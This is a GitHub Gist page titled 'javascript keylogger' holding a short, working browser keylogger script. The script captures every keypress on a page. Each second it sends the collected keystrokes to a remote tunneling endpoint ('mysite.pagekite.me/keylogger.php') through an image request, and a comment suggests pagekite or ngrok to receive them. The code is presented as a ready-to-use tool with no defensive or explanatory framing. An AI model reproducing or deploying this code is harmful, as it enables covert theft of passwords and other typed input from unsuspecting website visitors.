Created
May 27, 2015 03:42
-
-
Save atorralb/fbc82f70e1e2c1ebc67f to your computer and use it in GitHub Desktop.
javascript keylogger
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var keys = ''; | |
document.onkeypress = function(e) { | |
var get = window.event ? event : e; | |
var key = get.keyCode ? get.keyCode : get.charCode; | |
key = String.fromCharCode(key); | |
keys += key; | |
} | |
//get a local tunneling service such as pagekite.me or ngrok | |
window.setInterval(function(){ | |
new Image().src = 'http://mysite.pagekite.me/keylogger.php?c=' + keys; | |
keys = ''; | |
}, 1000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
And this is the backend of the js keylogger